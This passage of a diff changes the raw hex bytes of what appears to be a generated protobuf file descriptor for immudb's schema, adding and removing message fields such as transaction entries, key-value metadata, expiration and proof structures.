0x65, 0x73, 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, - 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x6d, 0x75, 0x74, - 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x64, 0x62, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x64, 0x62, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x78, 0x49, - 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x74, 0x78, 0x49, 0x64, 0x12, 0x16, 0x0a, - 0x06, 0x74, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x06, 0x74, - 0x78, 0x48, 0x61, 0x73, 0x68, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x12, 0x2a, 0x0a, - 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, - 0x64, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x52, 0x10, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x49, 0x64, 0x12, 0x2e, 0x0a, 0x12, 0x70, 0x72, 0x65, - 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x12, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, - 0x74, 0x65, 0x64, 0x54, 0x78, 0x48, 0x61, 0x73, 0x68, 0x22, 0xd5, 0x01, 0x0a, 0x10, 0x52, 0x65, - 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, + 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x89, 0x01, 0x0a, 0x12, 0x4c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x2a, 0x0a, 0x10, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x54, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x6c, 0x69, 0x6e, + 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x54, 0x65, 0x72, 0x6d, 0x73, 0x12, 0x47, 0x0a, + 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, + 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0f, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, + 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x73, 0x22, 0xc8, 0x03, 0x0a, 0x09, 0x44, 0x75, 0x61, 0x6c, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x3f, 0x0a, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x73, 0x6f, 0x75, 0x72, 0x63, 0x65, 0x54, 0x78, 0x48, + 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x3f, 0x0a, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x0e, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x54, 0x78, + 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x26, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, + 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x0e, + 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x2a, + 0x0a, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x10, 0x63, 0x6f, 0x6e, 0x73, 0x69, 0x73, + 0x74, 0x65, 0x6e, 0x63, 0x79, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x61, + 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x0d, 0x74, 0x61, 0x72, 0x67, 0x65, 0x74, 0x42, 0x6c, 0x54, 0x78, 0x41, 0x6c, 0x68, + 0x12, 0x2e, 0x0a, 0x12, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, + 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x06, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x12, 0x6c, 0x61, + 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x12, 0x3c, 0x0a, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x52, 0x0b, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x51, + 0x0a, 0x12, 0x4c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x69, 0x6e, 0x65, 0x61, + 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x12, 0x4c, + 0x69, 0x6e, 0x65, 0x61, 0x72, 0x41, 0x64, 0x76, 0x61, 0x6e, 0x63, 0x65, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x22, 0xce, 0x01, 0x0a, 0x02, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x65, 0x6e, 0x74, + 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x07, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, 0x32, 0x0a, 0x09, 0x6b, + 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x14, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x6b, 0x76, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x12, + 0x31, 0x0a, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x7a, 0x45, 0x6e, 0x74, 0x72, 0x69, + 0x65, 0x73, 0x22, 0x94, 0x01, 0x0a, 0x07, 0x54, 0x78, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, 0x79, - 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x64, 0x4b, 0x65, - 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, - 0x63, 0x65, 0x64, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x1a, 0x0a, 0x08, 0x62, 0x6f, - 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x62, 0x6f, - 0x75, 0x6e, 0x64, 0x52, 0x65, 0x66, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, - 0x0a, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, - 0x6f, 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x22, 0x8d, 0x01, 0x0a, 0x1a, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x4b, 0x0a, 0x10, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, 0x72, - 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x10, 0x72, 0x65, 0x66, - 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, + 0x12, 0x16, 0x0a, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, + 0x52, 0x06, 0x68, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x76, 0x4c, 0x65, 0x6e, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x76, 0x4c, 0x65, 0x6e, 0x12, 0x35, 0x0a, 0x08, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, + 0x56, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, + 0x61, 0x74, 0x61, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x85, 0x01, 0x0a, 0x0a, 0x4b, 0x56, + 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x12, 0x18, 0x0a, 0x07, 0x64, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x64, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0a, 0x65, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, + 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x03, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x0c, 0x6e, 0x6f, 0x6e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x61, 0x62, 0x6c, + 0x65, 0x22, 0x2a, 0x0a, 0x0a, 0x45, 0x78, 0x70, 0x69, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x1c, 0x0a, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x09, 0x65, 0x78, 0x70, 0x69, 0x72, 0x65, 0x73, 0x41, 0x74, 0x22, 0xa1, 0x01, + 0x0a, 0x0c, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x12, 0x21, + 0x0a, 0x02, 0x74, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x02, 0x74, + 0x78, 0x12, 0x36, 0x0a, 0x09, 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x09, + 0x64, 0x75, 0x61, 0x6c, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x36, 0x0a, 0x09, 0x73, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x69, 0x67, + 0x6e, 0x61, 0x74, 0x75, 0x72, 0x65, 0x52, 0x09, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, 0x72, + 0x65, 0x22, 0xc5, 0x01, 0x0a, 0x0f, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x65, 0x6e, 0x74, 0x72, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x05, 0x65, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x3f, 0x0a, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x54, 0x78, 0x52, 0x0c, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x54, 0x78, 0x12, 0x45, 0x0a, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, + 0x72, 0x6f, 0x6f, 0x66, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6e, 0x63, 0x6c, 0x75, + 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x0e, 0x69, 0x6e, 0x63, 0x6c, 0x75, + 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x22, 0x50, 0x0a, 0x0e, 0x49, 0x6e, 0x63, + 0x6c, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x12, 0x0a, 0x04, 0x6c, + 0x65, 0x61, 0x66, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x6c, 0x65, 0x61, 0x66, 0x12, + 0x14, 0x0a, 0x05, 0x77, 0x69, 0x64, 0x74, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, + 0x77, 0x69, 0x64, 0x74, 0x68, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0c, 0x52, 0x05, 0x74, 0x65, 0x72, 0x6d, 0x73, 0x22, 0x92, 0x01, 0x0a, 0x0a, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x03, 0x4b, 0x56, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x03, 0x4b, 0x56, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x41, 0x0a, + 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, + 0x6e, 0x52, 0x0d, 0x70, 0x72, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x69, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x22, 0x84, 0x01, 0x0a, 0x0a, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x12, 0x0a, 0x04, 0x61, 0x74, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x04, 0x61, 0x74, 0x54, 0x78, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x74, 0x52, 0x65, 0x76, + 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x61, 0x74, 0x52, + 0x65, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x3e, 0x0a, 0x0e, 0x4b, 0x65, 0x79, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6b, 0x65, 0x79, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, 0x12, 0x18, 0x0a, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x07, + 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x59, 0x0a, 0x11, 0x44, 0x65, 0x6c, 0x65, 0x74, + 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x6b, 0x65, 0x79, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0c, 0x52, 0x04, 0x6b, 0x65, 0x79, 0x73, + 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, + 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, + 0x69, 0x74, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x73, 0x65, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x0a, 0x73, 0x65, 0x74, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, + 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, + 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x22, 0x75, 0x0a, 0x14, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x12, 0x39, 0x0a, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x0a, 0x6b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x22, 0x0a, 0x0c, + 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x04, 0x52, 0x0c, 0x70, 0x72, 0x6f, 0x76, 0x65, 0x53, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, + 0x22, 0x13, 0x0a, 0x11, 0x53, 0x65, 0x72, 0x76, 